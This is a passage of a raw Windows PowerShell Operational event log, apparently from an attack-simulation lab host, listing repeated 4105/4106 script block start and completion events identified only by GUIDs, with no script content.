SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029097
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029091
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029069
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029067
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029066
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
